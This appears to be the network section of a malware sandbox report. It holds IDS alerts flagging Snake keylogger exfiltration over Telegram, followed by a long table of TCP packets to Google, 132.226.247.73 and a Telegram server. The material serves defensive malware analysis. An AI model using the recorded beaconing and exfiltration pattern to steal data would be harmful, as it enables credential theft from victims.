2024-12-19T15:30:37.686699+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	49904	149.154.167.220	443	TCP
2024-12-19T15:30:42.399185+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	49917	149.154.167.220	443	TCP
2024-12-19T15:30:45.840863+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	49925	149.154.167.220	443	TCP
2024-12-19T15:30:50.316155+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	49937	149.154.167.220	443	TCP
2024-12-19T15:30:53.779170+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	49947	149.154.167.220	443	TCP
2024-12-19T15:30:57.250331+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	49955	149.154.167.220	443	TCP
2024-12-19T15:31:01.789509+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	49967	149.154.167.220	443	TCP
2024-12-19T15:31:07.086493+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	49979	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 15:29:21.088032007 CET	49713	443	192.168.2.5	216.58.208.238
Dec 19, 2024 15:29:21.088099003 CET	443	49713	216.58.208.238	192.168.2.5
Dec 19, 2024 15:29:21.088181973 CET	49713	443	192.168.2.5	216.58.208.238
Dec 19, 2024 15:29:21.100100040 CET	49713	443	192.168.2.5	216.58.208.238
Dec 19, 2024 15:29:21.100136042 CET	443	49713	216.58.208.238	192.168.2.5
Dec 19, 2024 15:29:22.800245047 CET	443	49713	216.58.208.238	192.168.2.5
Dec 19, 2024 15:29:22.800381899 CET	49713	443	192.168.2.5	216.58.208.238
Dec 19, 2024 15:29:22.801332951 CET	443	49713	216.58.208.238	192.168.2.5
Dec 19, 2024 15:29:22.801399946 CET	49713	443	192.168.2.5	216.58.208.238
Dec 19, 2024 15:29:23.193308115 CET	49713	443	192.168.2.5	216.58.208.238
Dec 19, 2024 15:29:23.193345070 CET	443	49713	216.58.208.238	192.168.2.5
Dec 19, 2024 15:29:23.194279909 CET	443	49713	216.58.208.238	192.168.2.5
Dec 19, 2024 15:29:23.194359064 CET	49713	443	192.168.2.5	216.58.208.238
Dec 19, 2024 15:29:23.197119951 CET	49713	443	192.168.2.5	216.58.208.238
Dec 19, 2024 15:29:23.239351988 CET	443	49713	216.58.208.238	192.168.2.5
Dec 19, 2024 15:29:23.912681103 CET	443	49713	216.58.208.238	192.168.2.5
Dec 19, 2024 15:29:23.912779093 CET	49713	443	192.168.2.5	216.58.208.238
Dec 19, 2024 15:29:23.912844896 CET	443	49713	216.58.208.238	192.168.2.5
Dec 19, 2024 15:29:23.913000107 CET	49713	443	192.168.2.5	216.58.208.238
Dec 19, 2024 15:29:23.913325071 CET	49713	443	192.168.2.5	216.58.208.238
Dec 19, 2024 15:29:23.913641930 CET	443	49713	216.58.208.238	192.168.2.5
Dec 19, 2024 15:29:23.913741112 CET	49713	443	192.168.2.5	216.58.208.238
Dec 19, 2024 15:29:24.071151972 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:24.071198940 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:24.071355104 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:24.072251081 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:24.072271109 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:25.777048111 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:25.777350903 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:25.789834023 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:25.789859056 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:25.790260077 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:25.793988943 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:25.794358969 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:25.839334011 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:28.842921019 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:28.843133926 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:28.857830048 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:28.857903957 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:28.962193012 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:28.962285995 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:28.966309071 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:28.966373920 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:28.966399908 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:28.966449976 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.042085886 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.042148113 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.044363976 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.044480085 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.051840067 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.051897049 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.052023888 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.052078009 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.059536934 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.059593916 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.061644077 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.061703920 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.069499016 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.069560051 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.070815086 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.070872068 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.078130960 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.078192949 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.079368114 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.079423904 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.087240934 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.087321997 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.090466976 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.090532064 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.092163086 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.092216015 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.103768110 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.103822947 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.106482983 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.106703043 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.117527962 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.117583990 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.120085955 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.120135069 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.131731033 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.131795883 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.134311914 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.134375095 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.144804955 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.144876957 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.147535086 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.147588015 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.161947012 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.162007093 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.162374020 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.162516117 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.171904087 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.172050953 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.190397024 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.190565109 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.221040964 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.221204996 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.233944893 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.234107971 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.235177040 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.235234976 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.235260963 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.235320091 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.240068913 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.240125895 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.240149975 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.240207911 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.252108097 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.252168894 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.252191067 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.252332926 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.263724089 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.263786077 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.263887882 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.263943911 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.263968945 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.264022112 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.275535107 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.275592089 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.275630951 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.275774956 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.286587954 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.286657095 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.286681890 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.286820889 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.297435999 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.297502995 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.297518969 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.297665119 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.308444977 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.308528900 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.308549881 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.308599949 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.319281101 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.319370985 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.319380999 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.319432020 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.335974932 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.336170912 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.336179018 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.336230040 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.349515915 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.349584103 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.349601030 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.349651098 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.351811886 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.351878881 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.352037907 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.352096081 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.360327959 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.360414028 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.360423088 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.360471964 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.369111061 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.369185925 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.369201899 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.369254112 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.378091097 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.378149986 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.378171921 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.378225088 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.385133028 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.385195971 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.385216951 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.385266066 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.385293007 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.385344982 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.386341095 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.386399031 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.386466026 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.386585951 CET	443	49720	172.217.17.65	192.168.2.5
Dec 19, 2024 15:29:29.386646032 CET	49720	443	192.168.2.5	172.217.17.65
Dec 19, 2024 15:29:29.926505089 CET	49733	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:30.046156883 CET	80	49733	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:30.046241999 CET	49733	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:30.046780109 CET	49733	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:30.166666985 CET	80	49733	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:31.375972986 CET	80	49733	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:31.381685019 CET	49733	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:31.501410961 CET	80	49733	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:31.858283043 CET	80	49733	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:31.912821054 CET	49733	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:32.306704044 CET	49738	443	192.168.2.5	104.21.67.152
Dec 19, 2024 15:29:32.306737900 CET	443	49738	104.21.67.152	192.168.2.5
Dec 19, 2024 15:29:32.306813955 CET	49738	443	192.168.2.5	104.21.67.152
Dec 19, 2024 15:29:32.309828997 CET	49738	443	192.168.2.5	104.21.67.152
Dec 19, 2024 15:29:32.309845924 CET	443	49738	104.21.67.152	192.168.2.5
Dec 19, 2024 15:29:33.539686918 CET	443	49738	104.21.67.152	192.168.2.5
Dec 19, 2024 15:29:33.539897919 CET	49738	443	192.168.2.5	104.21.67.152
Dec 19, 2024 15:29:33.548127890 CET	49738	443	192.168.2.5	104.21.67.152
Dec 19, 2024 15:29:33.548187017 CET	443	49738	104.21.67.152	192.168.2.5
Dec 19, 2024 15:29:33.548616886 CET	443	49738	104.21.67.152	192.168.2.5
Dec 19, 2024 15:29:33.558500051 CET	49738	443	192.168.2.5	104.21.67.152
Dec 19, 2024 15:29:33.599384069 CET	443	49738	104.21.67.152	192.168.2.5
Dec 19, 2024 15:29:33.979136944 CET	443	49738	104.21.67.152	192.168.2.5
Dec 19, 2024 15:29:33.979332924 CET	443	49738	104.21.67.152	192.168.2.5
Dec 19, 2024 15:29:33.979420900 CET	49738	443	192.168.2.5	104.21.67.152
Dec 19, 2024 15:29:34.013520002 CET	49738	443	192.168.2.5	104.21.67.152
Dec 19, 2024 15:29:39.514564991 CET	49733	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:39.634181976 CET	80	49733	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:39.965440035 CET	80	49733	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:40.006658077 CET	49733	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:40.112746000 CET	49756	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:40.112834930 CET	443	49756	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:40.112930059 CET	49756	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:40.113441944 CET	49756	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:40.113481998 CET	443	49756	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:41.482317924 CET	443	49756	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:41.482639074 CET	49756	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:41.484297037 CET	49756	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:41.484354973 CET	443	49756	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:41.484636068 CET	443	49756	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:41.486027002 CET	49756	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:41.527374029 CET	443	49756	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:41.527621984 CET	49756	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:41.527678013 CET	443	49756	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:42.161178112 CET	443	49756	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:42.161262035 CET	443	49756	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:42.161442995 CET	49756	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:42.162048101 CET	49756	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:42.322235107 CET	49733	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:42.323524952 CET	49761	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:42.442353964 CET	80	49733	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:42.442544937 CET	49733	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:42.443135977 CET	80	49761	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:42.443367004 CET	49761	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:42.443367004 CET	49761	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:42.562928915 CET	80	49761	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:43.795205116 CET	80	49761	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:43.796700001 CET	49766	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:43.796767950 CET	443	49766	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:43.796922922 CET	49766	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:43.797785044 CET	49766	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:43.797816038 CET	443	49766	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:43.850430012 CET	49761	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:45.163410902 CET	443	49766	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:45.165707111 CET	49766	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:45.165771961 CET	443	49766	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:45.165890932 CET	49766	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:45.165904999 CET	443	49766	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:45.902652025 CET	443	49766	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:45.902893066 CET	443	49766	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:45.903141022 CET	49766	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:45.903481007 CET	49766	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:45.908139944 CET	49772	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:46.027781010 CET	80	49772	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:46.027873993 CET	49772	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:46.028143883 CET	49772	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:46.147869110 CET	80	49772	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:47.349688053 CET	80	49772	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:47.375129938 CET	49776	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:47.375159025 CET	443	49776	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:47.375240088 CET	49776	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:47.385073900 CET	49776	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:47.385086060 CET	443	49776	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:47.397346020 CET	49772	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:48.753539085 CET	443	49776	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:48.755656004 CET	49776	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:48.755681992 CET	443	49776	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:48.755754948 CET	49776	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:48.755770922 CET	443	49776	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:49.397353888 CET	443	49776	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:49.397444010 CET	443	49776	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:49.397506952 CET	49776	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:49.397898912 CET	49776	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:49.401065111 CET	49772	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:49.402112007 CET	49781	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:49.521166086 CET	80	49772	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:49.521373987 CET	49772	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:49.521686077 CET	80	49781	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:49.521780014 CET	49781	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:49.521976948 CET	49781	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:49.641823053 CET	80	49781	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:50.827419996 CET	80	49781	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:50.829540014 CET	49785	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:50.829564095 CET	443	49785	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:50.829653978 CET	49785	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:50.829986095 CET	49785	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:50.829998970 CET	443	49785	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:50.881850958 CET	49781	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:52.193840027 CET	443	49785	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:52.196064949 CET	49785	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:52.196094036 CET	443	49785	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:52.196162939 CET	49785	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:52.196172953 CET	443	49785	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:52.938437939 CET	443	49785	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:52.939990044 CET	443	49785	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:52.940058947 CET	49785	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:52.940454006 CET	49785	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:52.999619007 CET	49781	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:53.000608921 CET	49791	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:53.119637012 CET	80	49781	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:53.119708061 CET	49781	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:53.120340109 CET	80	49791	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:53.120417118 CET	49791	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:53.120652914 CET	49791	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:53.240221024 CET	80	49791	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:54.436521053 CET	80	49791	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:54.438038111 CET	49796	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:54.438082933 CET	443	49796	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:54.438169956 CET	49796	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:54.438515902 CET	49796	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:54.438532114 CET	443	49796	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:54.491185904 CET	49791	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:55.802407980 CET	443	49796	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:55.804356098 CET	49796	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:55.804382086 CET	443	49796	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:55.804439068 CET	49796	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:55.804446936 CET	443	49796	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:56.563637018 CET	443	49796	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:56.563721895 CET	443	49796	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:56.563791990 CET	49796	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:56.564399004 CET	49796	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:56.568147898 CET	49791	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:56.569798946 CET	49802	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:56.688025951 CET	80	49791	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:56.688153982 CET	49791	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:56.689335108 CET	80	49802	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:56.689431906 CET	49802	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:56.689657927 CET	49802	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:56.809374094 CET	80	49802	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:58.008605003 CET	80	49802	132.226.247.73	192.168.2.5
Dec 19, 2024 15:29:58.009996891 CET	49806	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:58.010023117 CET	443	49806	149.154.167.220	192.168.2.5
